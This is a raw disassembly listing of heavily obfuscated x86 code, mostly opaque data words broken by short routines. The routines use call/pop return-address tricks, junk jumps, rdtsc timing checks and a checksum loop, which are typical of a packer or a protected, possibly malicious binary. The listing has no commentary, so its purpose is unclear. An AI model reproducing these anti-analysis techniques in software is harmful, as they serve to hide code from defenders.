0B1E3853Eh, 0A1858D37h, 8B07ECECh, 0E913CDBDh, 0B8868907h dd 9000000h, 0E92F7995h, 6A006A07h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0BD13C352h dd 0CFC2886Ch, 8A3C3924h, 11BD8BD9h, 0FF07E924h, 0ECD785B5h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 0FC70144Fh, 2CD95FFh, 0BD8907E9h, 7E91D81h dd 7CC8BF96h, 66507998h, 6A96FB8Bh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 742EC350h dd 606855AFh, 0CB19D29h, 0BF0F07E9h, 8D3161F8h, 7E9151Dh dd 85B5FFFCh, 0E807ECD7h, 8, 0F057B7B1h, 300A3A7Eh, 0FF5BFD8Ah dd 0E9302D95h, 219D8B07h, 8307E91Fh, 0E91EC9BDh, 840F0007h dd 9Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h dd 2EC35646h, 6329EBE8h, 26199D0Bh, 0BE807E9h, 75000000h dd 0CCD7D5h, 8AAC5E5Eh, 0BD315021h, 7E916A5h, 0DABF0F5Bh dd 0E810F96h, 50000000h, 0F616052h, 8C0F31h, 5A000000h dd 13E85058h, 7000000h, 2F4BE88Eh, 2CA339D5h, 6BA0910Eh dd 47E7BC93h, 12E97506h, 83000000h, 7C333597h, 0BCC6E63Fh dd 26C82F28h, 64ACA07Ch, 0E8965F5Ch, 7, 0CF400BD2h, 8B7ED432h dd 0E93025BDh, 0B5FF5F07h, 7ECD785h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0E3C35646h, 916E14Fh, 0E9158585h dd 0C5BD8B07h, 0FF07E915h, 0E91F9D95h, 56006A07h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 9530E71Fh, 3EAE31BBh, 8D89ED70h, 7E93121h, 0D785B5FFh dd 6A07ECh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 7A5221C3h, 666D024Dh, 8B57B816h, 0E902EDBDh dd 0BD015B07h, 7E93569h, 13995FFh, 0BD8B07E9h, 7E90859h dd 29CDBD83h, 0F0207E9h, 3D84h, 3DB58900h, 8B07E92Ch, 0E9087585h dd 81BD2B07h, 0C607E920h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h dd 0E4B594C3h, 5F116971h, 221DBD8Bh, 85C707E9h, 7E924ADh dd 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5D2897 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D2897 proc near ; CODE XREF: sdfs____:005D288Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5D2897 endp ; --------------------------------------------------------------------------- db 86h dd 0A978AFE1h, 0F993FA93h, 21C9B589h, 0B6E907E9h, 6AFFFFF2h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0B87EC352h, 760074E9h, 89BDBA05h, 0E90C75BDh dd 11E907h, 35D20000h, 0D6C6B080h, 0C2F92816h, 0F8F4296h dd 8BCF83C5h, 359D23C1h, 8D07E92Eh, 0E9086185h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0EDB43C13h, 66608A89h, 60A41DB8h, 0F77EC181h, 0BF0F08F1h dd 506161DFh, 52506060h, 585A310Fh, 61DA8B66h, 0AE860h dd 92750000h, 0A1D45BCDh, 0A3A059C4h, 8961615Ah, 6A2404h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 7D5C16C3h, 3B1A0516h, 0BD236F3Fh, 7E92CA1h, 6A006Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0F7E537C3h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0E3C72CC3h, 8DF91CFBh, 0EDEDD285h dd 6820F07h, 89000000h, 0E9106985h, 5C08307h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 48C35747h, 0D0B01AF8h dd 0CC6ED4A2h, 859D01h, 669007E9h, 50C6F0BBh, 12E8h, 0E943B700h dd 7BB5155Dh, 575AF808h, 0C3790A1Dh, 50869D78h, 0E0BB6652h dd 50310F74h, 5A310F52h, 5F585A58h, 51006A90h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0BDD876BDh dd 6AF89153h, 8D8B6000h, 7E90F51h, 61F88B66h, 6AFFBF0Fh dd 0FEB70F00h, 0FB995FFh, 6A07E9h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 9BEEDFC3h, 28E0Fh, 0DA8B0000h dd 0D72C8D8Dh, 6A07ECh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 9B4E31C3h, 0D1BD89A4h, 0FF07E91Ch dd 2820FD1h, 8B000000h, 69BD83DAh, 107E91Bh, 0AE850Fh dd 13E90000h, 39000000h, 0C75E1BB6h, 571BB5B5h, 4A4F6674h dd 0FA0C142Bh, 3509736h, 0E9130DBDh, 26A5B07h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 2CC35040h, 88D076A5h dd 0C8C0Fh, 890F0000h, 6, 2225BD8Bh, 569007E9h, 68F0Fh dd 52500000h, 585A310Fh, 0AE8505Bh, 7F000000h, 304B7BEEh dd 0DC748509h, 0F838BF05h, 905B11B7h, 0F9F8B70Fh, 2CD95FFh dd 6A07E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0E733E6C3h, 0AB373C84h, 0DB81EFB1h, 4794DB90h dd 0E60E9h, 0E800h, 815D0000h, 0EDEDDCEDh, 52006A07h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 6AB408h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 397C15C3h, 840F7324h, 6, 2AE5BD29h, 0B70F07E9h dd 6858DFFh, 8907ECB4h, 0E9108185h, 45BF5007h, 893FD0B1h dd 0FF642404h, 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 69C868BEh, 896467EAh dd 25h, 0CEDB8000h, 0F9D85FFh, 6A07E9h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 89F8ADC3h dd 6ADE8B2Fh, 0F5CF81FFh, 0FF7CA0C8h, 0E90E1DB5h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 83DBA38Eh, 0BE032505h, 6840FC2h, 3000000h, 0E92295BDh dd 3890F07h, 0F000000h, 95FFDEBFh, 7E9233Dh, 142E9h, 2DBD8B00h dd 0B007E90Ch, 0ED8D8900h, 0E607E90Dh, 59958970h, 0E407E913h dd 0F1BD2971h, 3C07E922h, 1C830F61h, 81000001h, 0F2FF5AC3h dd 0C8B60F1Bh, 5F0DB352h, 6BAh, 0BD8B5700h, 7E91AC5h, 0FC18B5Fh dd 0BD23D8BFh, 7E93219h, 304E8C1h, 0E93219BDh, 0E2F76607h dd 3840Fh, 8B660000h, 0FC82BDEh, 1786h, 880F6000h, 0 ; --------------------------------------------------------------------------- call sub_5D2D26 lea esi, [esp+edi*8-3CC5BE67h] xor edx, [edx] ; =============== S U B R O U T I N E ======================================= sub_5D2D26 proc near ; CODE XREF: sdfs____:005D2D18p pop ecx popa mov edx, ecx sub [ebp+7E9161Dh], ecx jmp loc_5D2DEB ; --------------------------------------------------------------------------- or [ebp+7E90B41h], edi mov eax, [ebp+8] pusha mov [ebp+7E91EEDh], ecx or [ebp+7E91D29h], edx popa add eax, 7 add eax, 0 mov edi, [ebp+7E90F55h] cmp edx, eax jnb loc_5D2D7A jle loc_5D2D6F mov [ebp+7E92FF1h], edx loc_5D2D6F: ; CODE XREF: sub_5D2D26+3Dj jmp loc_5D2DEB ; --------------------------------------------------------------------------- sub [ebp+7E923EDh], eax loc_5D2D7A: ; CODE XREF: sub_5D2D26+37j mov ecx, [ebp-1] call loc_5D2D93 popf int 0Ch ; - IRQ4 - COM1 INTERRUPT ; --------------------------------------------------------------------------- dd 0AB3E6BDDh, 503F560Eh db 68h, 5Ah, 67h ; --------------------------------------------------------------------------- loc_5D2D93: ; CODE XREF: sub_5D2D26+5Ap mov ebx, esi pop ebx and ecx, 1 jz loc_5D2DEB add bx, 0E596h pusha push esi jmp loc_5D2DB9 ; --------------------------------------------------------------------------- db 0F3h dd 5575968Fh, 0CF825986h, 0B9B5C3E4h db 7Ch ; --------------------------------------------------------------------------- loc_5D2DB9: ; CODE XREF: sub_5D2D26+80j pop edx popa and dword ptr [ebp-1], 0FFFFFFFEh jmp loc_5D2DD3 ; --------------------------------------------------------------------------- db 0E9h dd 0C902D1F9h, 778DD969h ; --------------------------------------------------------------------------- pop ebx loc_5D2DD1: ; CODE XREF: sub_5D2D26:loc_5D2DD1j jbe short loc_5D2DD1 loc_5D2DD3: ; CODE XREF: sub_5D2D26+9Cj mov [ebp+8], edx jmp loc_5D2DE6 ; --------------------------------------------------------------------------- dw 0D2B9h db 90h ; --------------------------------------------------------------------------- or eax, 98E5FE17h loc_5D2DE6: ; CODE XREF: sub_5D2D26+B3j jmp $+5 loc_5D2DEB: ; CODE XREF: sub_5D2D26+Aj ; sub_5D2D26:loc_5D2D6Fj ... lea esi, [ebp+7ED6D6Dh] mov [ebp+7E9182Dh], ecx push 0 jmp loc_5D2E10 ; --------------------------------------------------------------------------- dw 97FFh dd 5C797D11h, 0E9D643AEh, 3F58B12Ah, 10D239A2h ; --------------------------------------------------------------------------- loc_5D2E10: ; CODE XREF: sub_5D2D26+D3j call dword ptr [ebp+7E90C31h] mov ebx, [ebp+7E90939h] mov ecx, 0F09h push 0 push edi call sub_5D2E2C and [edi-3Dh], bl sub_5D2D26 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D2E2C proc near ; CODE XREF: sub_5D2D26+FEp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5D2E2C endp ; --------------------------------------------------------------------------- dd 0E860650Bh, 13h, 6B431990h, 8A43C2B4h, 7EE9E2FEh, 2AECADF1h dd 606C88C6h, 0F28B5861h, 0E183F961h, 66FCF8FCh, 0B80838BFh dd 0 ; --------------------------------------------------------------------------- mov [ebp+7E923C9h], ecx sub edx, edx clc mov [ebp+7E90189h], ebx loc_5D2E7B: ; CODE XREF: sdfs____:005D2E85j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5D2E7B push 0 push ecx call sub_5D2E92 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D2E92 proc near ; CODE XREF: sdfs____:005D2E8Ap arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5D2E92 endp ; --------------------------------------------------------------------------- or [eax+6A89BEh], ebx push ebx call sub_5D2EB1 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D2EB1 proc near ; CODE XREF: sdfs____:005D2EA9p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5D2EB1 endp ; --------------------------------------------------------------------------- db 0F7h, 1, 0C7h dd 5227477Eh, 8166A3F0h, 0DE9CACFh, 88h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ah, 4C35646h, 20A38DCDh dd 0BE9F57Bh, 0A4000000h, 9EBACC11h, 0BBAAF24Fh, 958BD05Ch dd 7E9320Dh, 9E9h, 0A2160000h, 0B7498BAAh, 8D8B7F5Fh, 7E922E5h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 76C35747h dd 884CB1F6h, 6DBD2922h, 6007E930h, 959858Bh, 0E88007E9h dd 8B5061C1h, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h dd 68A0Fh, 9D890000h, 7E91CB5h, 1CA9BD01h, 0BD8307E9h dd 7E91C2Dh, 8A840F00h, 0F9000000h, 0B8h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0E2F80056h, 0D25E2C53h, 68D0Fh, 95010000h, 7E9259Dh dd 4D5A8D8Dh, 6A07E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0FF7D6DC3h, 52006AE1h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 16C32F69h dd 17E59733h, 51B58B60h, 6607E92Fh, 8A57D781h, 0B1BD8361h dd 7E922h, 4F2840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0EE7123C3h, 6BE94995h dd 22B1BD83h, 0F0107E9h, 4DE84h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0BD8942ECh dd 7E91341h, 27DBBB66h, 22B1BD83h, 0F0307E9h, 47486h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0C48CD458h, 558D315Ah, 6007E91Eh, 0DE9h, 5E2DAD00h dd 2E2EAEA1h, 0C085DDAEh, 8C66474Bh, 69BD0BD9h, 8007E91Fh dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 818E1EC3h, 0FC90A4Ah, 19C84h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 23EB028h, 0A7E75C40h, 60FBB70Fh, 5E984B4h, 8000000h dd 8A979267h, 55858B61h, 6A07E90Ch, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0FDF3C350h dd 16E1BD89h, 810F07E9h, 6, 0F259D8Bh, 853307E9h, 7E91CE9h dd 3419589h, 509007E9h, 310F5250h, 4810Fh, 0BF660000h dd 585A9CF6h, 31BB6690h, 29006A99h, 0E91FC9BDh, 4E807h dd 3FF0000h, 0F60001Fh, 283h, 0F5A5300h, 0D8Fh, 8E900h dd 0FEA80000h, 8CC32D70h, 5061D985h, 14E8h, 3879B00h, 6D101B20h dd 28AFD17Ch, 0F14A7DA8h, 0BEF7F3C1h, 0D98B66EEh, 24448B5Bh dd 0AE86004h, 34000000h, 4C171B75h, 31BE10B6h, 5AD08B5Bh dd 0C4B45250h, 40BA310Fh, 5A12645Ah, 8B6158h, 880F5250h dd 6, 8B0Fh, 310F0000h, 585A1BB3h, 4244489h, 8E241ABBh dd 6A581Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 0AFEA61C3h, 70A636EBh, 0FF552965h, 0E902D995h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0BA6D6E97h, 89F88B55h, 0ECD78585h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 3B5CD4E8h, 0CE94B69h, 8B000002h, 0E92A29BDh, 7D858B07h dd 0F07ECD7h, 0C7F9BFh, 18h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0EAC35343h, 469264FAh, 0FA8ADA8Bh dd 0D781B58Bh, 9D0107ECh, 7E90C19h, 1859858Bh, 6A07E9h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 6072F2C3h, 0CA0BB9Bh, 6E84A98h, 0DE000000h, 0B8A9DF33h dd 96F8BBEAh, 895F1237h, 299D8B06h, 8B07E901h, 0E90C5585h dd 0EDBD3107h, 8907E90Eh, 6A0446h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 1C1973C3h, 0B0024EA6h dd 0B58529E8h, 5007E924h, 19800Fh, 0FE80000h, 90000000h dd 1527E025h, 5638E797h, 0BCBDE331h, 0BF6640E9h, 895F9D59h dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0B70972C3h, 880F609Fh, 5, 58E28166h, 0F6BF0FC0h dd 3D9D8961h, 0FF07E91Fh, 0ECD77DB5h, 0FBBF0F07h, 4E8h dd 1F03FF00h, 5820F00h, 0BF000000h, 7EB803F9h, 0BB35BB50h dd 448B4A2Eh, 8E0F0424h, 3, 8BF98B66h, 35F3BB00h, 448904C4h dd 6A580424h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 0EBDBC352h, 0D6DD392h, 858D4612h dd 7ECD785h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 7EC35242h, 0D605DA81h, 74B5240Bh, 60BB660Ch, 35BD8B12h dd 5007E92Fh, 0B0651BBFh, 2404892Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 5EC35343h, 476B64D9h, 658D89CAh dd 0FF07E931h, 0E902D995h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0F56BCD4h dd 688h, 919D8B00h, 6107E924h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 9FC35141h, 0C7933734h, 0E922B185h dd 307h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 85BD8324h, 7ECD7h, 13840Fh, 0C2B30000h dd 2EE98501h, 21E907E9h, 89000000h, 0E919CDBDh, 0C305007h dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 1B71B589h dd 9E907E9h, 47000000h, 356C38BDh, 77CDF67Ah, 22B1BD83h dd 0F0307E9h, 45585h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 543E2A14h, 0BD83EB08h dd 7ECD785h, 27840F00h, 6A000004h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 7F6FC352h dd 0F0979828h, 85B5FF3Eh, 0F507ECD7h, 134995FFh, 0D3BB07E9h dd 8B785D01h, 0ECD779B5h, 0FEB70F07h, 106C7h, 6A0001h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0BF669CC3h, 6650AE46h, 3489D88Bh, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0F8A325E5h dd 30F4982Fh, 0DE8BC078h, 0B5FFC8B3h, 7ECD785h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E9C35646h, 95899BDEh dd 7E92081h, 1AB195FFh, 0BF0F07E9h, 79B58BFFh, 0B307ECD7h dd 0A5858922h, 8B07E90Ch, 0E9244985h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 8553517Ah, 316A05A6h, 0E92ED99Dh, 0C19D8B07h, 8B07E921h dd 0E91599BDh, 0C4868907h, 8B000000h, 0E919B19Dh, 0D958B07h dd 6A07E932h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0C52BC350h, 75EC4617h, 5F2B7363h dd 2441BD89h, 9D8B07E9h, 7E916A9h, 6A04C283h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 651FC350h, 8871557Eh, 6A205089h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 38C7C356h dd 0E534C536h, 9E9h, 350E6800h, 23E5EBD4h, 858D8F0Ah, 7ECECA1h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 82C35646h dd 21A18D89h, 868907E9h, 0B8h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 59C35242h, 0F006A4Fh, 0B5FFD8BFh dd 7ECD785h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 4AC35545h, 605CAB74h, 0EF1CF025h, 0B2D8529h, 9D8B07E9h dd 7E91D0Dh, 2CD95FFh, 6A07E9h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 9C5DC6C3h, 518D09F5h dd 8107E92Fh, 0ECF5AFDFh, 13E952h, 0E5890000h, 0D2991FE9h dd 8E5D18B0h, 0E61ADE06h, 0DFF242CBh, 8E0F96DEh, 2, 0BB50D88Ah dd 1A3B9F03h, 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0BD8B182Ch, 7E9298Dh, 0D785B5FFh dd 9D8907ECh, 7E9055Dh, 302D95FFh, 0B58907E9h, 7E90055h dd 1EC9BD83h, 0F0007E9h, 3C84h, 3870F00h, 0F000000h, 0F50DAB7h dd 486h, 55BB6600h, 24348955h, 19830Fh, 0DE80000h, 0E0000000h dd 7DFE5F70h, 7CFA9270h, 0E7769234h, 23D9529h, 8B5B07E9h dd 0E92E599Dh, 85B5FF07h, 6A07ECD7h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0F79AC350h dd 0FFAD8DDFh, 0E91F9D95h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 89607D72h dd 0E91AFD8Dh, 2880F07h, 60000000h, 0B5FF6161h, 7ECD785h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 8CC35040h dd 0FFFC3691h, 0E9013995h, 8E807h, 0B200000h, 984BA37Eh dd 9D0B4160h, 7E90E19h, 820F535Bh, 6, 13919D8Bh, 835F07E9h dd 0E929CDBDh, 840F0207h, 59h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 44C35646h, 7BA8E6F9h, 0B13B44BDh dd 0DAB70F1Fh, 875858Bh, 6A07E9h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 0F838E9C3h, 1DB2E0EAh dd 14D8D09h, 0C607E9h, 0AD85C700h, 7E924h, 50000000h, 132F6BFh dd 98E95B71h, 0FCFFFFF2h, 6AC18Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 0BB661AC3h, 0AE99171h dd 14000000h, 0E194C4D6h, 4EF7836Dh, 61858D81h, 6A07E908h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 9DEEC357h, 89563AECh, 0E925A59Dh, 0E8905B07h dd 14h, 1D438B54h, 0B3AA3A1Eh, 0BED8E139h, 925C1DC9h, 7B541F0Eh dd 0BB7EB360h, 34560276h, 57505F61h, 9D03905Bh, 7E93021h dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0E0D0DEC3h, 0BD8B77D8h, 7E92075h, 6A006Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 8DBDFAC3h, 0D1600813h, 14E8CBh, 0D1E00000h, 2733A64Bh dd 0C5FC20CEh, 0E00F04D2h, 3F87B761h, 0B70F3E5Bh, 880F5FDBh dd 6, 2A79BD23h, 858D07E9h, 7EDFE9Dh, 6D7A48BBh, 0D1BE602Fh dd 6040135Eh, 2125B58Bh, 45B807E9h, 617BD5E8h, 5C08361h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A0C35747h dd 88A0F50h, 0F000000h, 28Ch, 89616000h, 6A2404h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 735F9BC3h, 12E967h, 0F38D0000h, 6F1A5163h, 205BF983h dd 9E09CB03h, 612C8C9Ch, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 91EFA1C3h, 30618397h dd 5E9CFh, 0A6EE0000h, 6A5FD8F8h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0BF0F5183h dd 95895BF8h, 7E900ADh, 0FB995FFh, 6A07E9h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 8D8DD5C3h dd 7ECD72Ch, 0BBD1FFF8h, 5D276CB8h, 1B69BD83h, 0F0107E9h dd 7A85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 8E65AFC4h, 7B2E251Eh, 6AD88B66h dd 0BD958902h, 9007E909h, 5E8h, 0E60F5A00h, 890F3816h dd 0Ah, 5E9h, 0F81CD00h, 505BAA27h, 55006A90h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0C2910005h dd 0FF6AF3BEh, 0E902CD95h, 0C1BD8907h, 0E907E919h, 0F2Bh dd 0E8h, 0ED815D00h, 7EDFEA7h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 5DC35747h, 7F9F4827h, 89386498h dd 0E91BD9B5h, 9858907h, 5107E91Bh, 16E1BD89h, 8D5B07E9h dd 0ECB40685h, 8E807h, 9C190000h, 70BDCFD1h, 1601352h dd 0E925718Dh, 11E907h, 0C29D0000h, 3294BD2h, 68ED2D62h dd 0BE8A03D1h, 61E79D8Bh, 0EE9505Fh, 98000000h, 6F0B8F1Eh dd 63943E6Ah, 9EF59E80h, 24048950h, 9EF3F781h, 0FF647652h dd 35h, 9858900h, 0BF07E913h, 68924E92h, 258964h, 0F000000h dd 1584h, 0BE96000h, 0CD000000h, 5250A9A7h, 91961333h dd 0CB808418h, 85FF61EDh, 7E90F9Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0E1C35545h, 0B63BF345h, 0E381FA05h dd 4872C895h, 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 0FF16D3C3h, 0E9170DB5h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0FD5C9614h, 95FFA628h, 7E9233Dh, 163E9h, 0BE900h, 0BA4F0000h dd 7D5B543Fh, 0ED3A33CBh, 8B00B0BFh, 5070E6D9h, 1F45BD29h dd 0E45F07E9h, 37BB6671h, 0F613CB3h, 13783h, 11E900h, 26400000h dd 7ED9A8E4h, 0B871E561h, 38B64462h, 0F0110BFh, 0BB66C8B6h dd 6BABC5Ch, 8B000000h, 0E91AD5BDh, 0DEBF0F07h, 0CE9C18Bh dd 37000000h, 0E2C54C5Ch, 0D6C5085Eh, 0C1EC52CBh, 850104E8h dd 7E9032Dh, 2269BD33h, 0F76607E9h, 18589E2h, 0BF07E908h dd 20A0276h, 9D8BC82Bh, 7E92E4Dh, 9E8D18Bh, 18000000h dd 0D6D36D31h, 5FA69FB9h, 7E8h, 1D227800h, 4B09DEE7h, 2A9D8529h dd 5B5B07E9h, 7519D89h, 0A5E907E9h, 66000000h, 8BB8ACBFh dd 185h, 83D88B00h, 8B6607C0h, 0C083DEh, 6890Fh, 0BD890000h dd 7E91259h, 830FD03Bh, 1Fh, 77E9h, 0E8565000h, 10h, 8C34A6B2h dd 5D0F17A4h, 4574CCEBh, 601B50A8h, 8B5B5B5Fh, 0FFFFFF8Dh dd 0AE9FFh, 84CD0000h, 0E0D65862h, 757016EEh, 0F01E183h dd 3F84h dd 13E800h, 31410000h, 7F89A874h, 3E079E42h, 5539FFAFh dd 3542F4D2h, 9A46BB70h, 835F55A5h, 0FFFFFFA5h, 810FFEFFh dd 3, 89FBBF0Fh, 195h, 0C19D8B00h, 0E907E92Ch, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+7ED7C76h] push 0 push esi call sub_5D3F15 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D3F15 proc near ; CODE XREF: sdfs____:005D3F0Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5D3F15 endp ; --------------------------------------------------------------------------- db 3, 0Ch, 0BBh dd 0DB6DC96Eh, 66C82265h, 6A3EF6BBh, 95FFFC00h, 7E90C31h dd 4800Fh, 0BF660000h, 0B589A1C7h, 7E90F65h, 0FA6B9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0B0EC7376h, 0B3ECB12h, 55BD8B4Ch, 8307E91Eh, 0BD89FCE1h dd 7E91199h, 57006AFCh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0F0E02B4h, 830FEB4Ah, 6, 2A659589h dd 9E807E9h, 0AB000000h, 0FE7DB4CCh, 0A1232AF3h, 5BDE8B66h dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 830F84A4h, 3, 8BFBBF0Fh, 0E92075BDh dd 0BA07h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0C8D8CC3h, 0C233AD1Dh, 0D003E8D1h dd 7504E983h, 69CB80F4h, 2F258D01h, 880D07E9h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0EFC2C350h, 